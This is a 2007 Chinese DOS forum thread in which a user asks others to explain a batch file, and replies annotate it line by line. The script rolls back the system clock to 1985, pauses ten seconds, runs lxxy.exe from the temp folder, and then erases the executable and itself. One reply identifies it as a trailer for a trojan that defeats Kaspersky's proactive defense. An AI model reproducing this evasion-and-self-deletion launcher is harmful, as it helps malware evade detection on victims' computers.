中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-06 16:17
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请帮忙翻译一个 BAT 文件 查看 665 回复 2
楼 主 请帮忙翻译一个 BAT 文件 发表于 2007-11-30 16:01 ·  中国 辽宁 沈阳 电信云计算机项目(百科合作IDC)
新手上路
积分 4
发帖 1
注册 2007-11-30 15:29
18年会员
UID 104255
性别 男
状态 离线
@echo off \\下面运行不可见\\
setlocal enableextensions \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10%
date 1985-10-24
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs
set /a i = 10
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %systemroot%/temp/lxxy.vbs
goto Timeout \\回到 Timeout 行\\
:Next \\下一行
%systemroot%/temp/lxxy.exe \\运行程序 lxxy.exe\\
date %last_date%
date %last_date%
del c:\lxxy.exe /f/s/q/a
del %0

我只知道头两句的准确意思 ,后面的就不知道,谁能给详细解释下,
谢谢
2 发表于 2007-11-30 16:08 ·  中国 湖北 武汉 电信
版主
★★★★★
积分 11,386
发帖 4,938
注册 2006-07-23 17:10
20年会员
UID 59080
状态 离线
@echo off \\下面运行不可见\\
setlocal enableextensions \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10% \\将当前日期(变量%date%前10个字符)赋值给last_date
date 1985-10-24 \\修改当前日期
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs \\写内容到文件
set /a i = 10 \\变量i初始化
:Timeout \\设置标签
if %i% == 0 goto Next \\如果i的值为0,跳转到Next标签
setlocal
set /a i = %i% - 1 \\变量i的值减一
cscript //nologo %systemroot%/temp/lxxy.vbs \\调用vbs脚本
goto Timeout \\回到 Timeout 行\\
:Next \\下一行
%systemroot%/temp/lxxy.exe \\运行程序 lxxy.exe\\
date %last_date% \\恢复日期
del c:\lxxy.exe /f/s/q/a \\删除C盘下所有的lxxy.exe文件
del %0 \\自灭
3 发表于 2007-11-30 16:50 ·  中国 浙江 温州 电信
中级用户
★★
积分 458
发帖 196
注册 2006-10-05 12:04
19年会员
UID 64614
状态 离线
先记录当前时间,然后把日期修改成1985-10-24

接着循环10次,每次等待1秒,循环完毕正好延时10秒.卡巴斯基的主动防御失效

运行木马注入进程
论坛跳转: